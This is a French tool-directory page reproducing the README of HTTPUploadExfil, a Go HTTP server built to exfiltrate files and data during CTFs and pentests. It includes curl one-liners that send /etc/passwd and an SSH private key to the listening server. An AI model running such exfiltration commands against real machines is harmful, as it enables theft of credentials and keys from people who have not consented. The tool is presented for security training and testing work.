Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
HTTPUploadExfil — Un serveur HTTP simple pour livrer et exfiltrer des fichiers/données lors, par exemple, de CTFs. | Kitploit
Outils/GitHubGitHub/ingokl/httpuploadexfil
Exfiltration de DonnéesSécurité WebCTFTests d'Intrusion
GitHubingokl/httpuploadexfil

HTTPUploadExfil

Un serveur HTTP simple pour livrer et exfiltrer des fichiers/données lors, par exemple, de CTFs.

Voir le dépôt
8218il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

HTTPUploadExfil

Logo HTTPUploadExfil

Licence MIT GitHub stars

HTTPUploadExfil est un serveur HTTP (très) simple écrit en Go, utile pour récupérer des fichiers (et d'autres informations) depuis une machine via HTTP. Bien qu'il existe de nombreux cas d'utilisation, il est conçu pour être utilisé dans des scénarios offensifs à faible enjeu (par exemple, les CTF).

Considérez-le comme python3 -m http.server mais pour extraire des données d'une machine plutôt que d'y déposer des fichiers.

Évidemment, il s'agit d'une méthode très bruyante et assez limitée d'exfiltration de données. Néanmoins, elle est très pratique et un peu plus facile que, par exemple, d'utiliser SMB ou FTP. Si vous cherchez quelque chose de plus élégant, jetez un œil à, par exemple, dnsteal ou PyExfil.

En résumé

  1. Compilez l'outil avec go build.
  2. Exécutez ./httpuploadexfil :1337 /home/kali/loot sur votre machine.
  3. Accédez à http://VOTRE_IP:1337/ depuis la machine dont vous devez exfiltrer des données.
  4. Retrouvez vos fichiers téléversés dans /home/kali/loot.

Si vous avez besoin de HTTPs, regardez les informations ci-dessous.

Vous pouvez également télécharger les binaires pour Linux et Windows depuis GitHub. Ces binaires ne reflètent cependant pas forcément les modifications les plus récentes.

Compilation et développement

Bien que des binaires soient disponibles, il est fortement recommandé de compiler vous-même. Ainsi, vous aurez la version la plus récente et saurez exactement ce que vous exécutez. Le processus est trivial :

Exécutez simplement go build dans le dossier, et vous devriez obtenir un exécutable httpuploadexfil pour votre plateforme.

Si vous modifiez l'outil, pensez à le formater avec go fmt main.go.

Vous pouvez également utiliser make pour compiler l'outil. Vous pouvez aussi exécuter make cert pour générer des certificats SSL (voir plus bas).

Utilisation

Le cas d'usage le plus courant est d'exécuter le serveur sur la Machine A. Ensuite, sur la Machine B, vous accédez au formulaire de téléversement via un navigateur et sélectionnez un fichier à exfiltrer. Bien sûr, comme vous le verrez ci-dessous, cela peut aussi être fait avec, par exemple, curl.

En plus du téléversement de fichiers, vous pouvez aussi utiliser HTTPUploadExfil pour exfiltrer des données via de simples requêtes GET. Si une requête est envoyée à l'endpoint /g, la requête entière sera stockée sur le disque.

Ainsi, vous pouvez exfiltrer des données en utilisant l'en-tête de la requête. Le plus simple est d'utiliser les paramètres GET (par exemple, ?data=...), mais d'autres options existent.

HTTPUploadExfil

Par défaut, HTTPUploadExfil écoute sur le port 8080. Tous les fichiers seront écrits dans le répertoire courant.

./httpuploadexfil

Vous pouvez aussi fournir des arguments :

./httpuploadexfil :1337 /home/kali/loot

Si vous avez besoin d'un journal des requêtes, passez le flag -log comme ceci :

./httpuploadexfil -log

Le premier argument est une adresse d'écoute, le second est le dossier où stocker les fichiers.

L'outil expose également les fichiers du dossier loot sous l'endpoint /l. Cela peut être utilisé comme un moyen simple d'apporter des fichiers sur la cible.

Endpoints

Le serveur web expose quatre endpoints à utiliser :

  1. / (GET) est le formulaire de téléversement.
  2. /p (POST) reçoit les données du formulaire de téléversement. Il nécessite une requête multipart/form-data avec le champ file rempli.
  3. /g (GET) accepte toute requête GET et stocke la requête complète sur le serveur.
  4. /l (GET) permet d'accéder aux fichiers dans le dossier spécifié (liste de répertoire). Cela permet de fournir une fonctionnalité basique de python3 -m http.server.

Mode HTTPs

HTTPUploadExfil peut également être utilisé en mode HTTPs. Pour cela, placez simplement les fichiers HTTPUploadExfil.csr et HTTPUploadExfil.key à côté du binaire. Ils peuvent être générés par exemple comme suit :

root@kitploit:~
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

Pour ce faire, vous pouvez aussi exécuter make cert.

Si le serveur détecte un fichier HTTPUploadExfil.csr, il tentera de démarrer en mode HTTPs. Pour revenir en HTTP, supprimez ou renommez simplement les fichiers de certificat.

Shell

Avec Bash, on peut exfiltrer des données via GET en utilisant par exemple :

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

Bien sûr, on peut aussi utiliser curl pour exfiltrer des fichiers :

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

À faire

  • Implémenter une version HTTPs (chiffrement du transport)
  • Ajouter une option de téléchargement (c'est-à-dire fournir la fonctionnalité de python3 -m http.server)
  • Ajouter une fonctionnalité de journalisation des requêtes
  • Système de compilation (notamment compilation croisée pour Windows et Linux)
Télécharger l’outil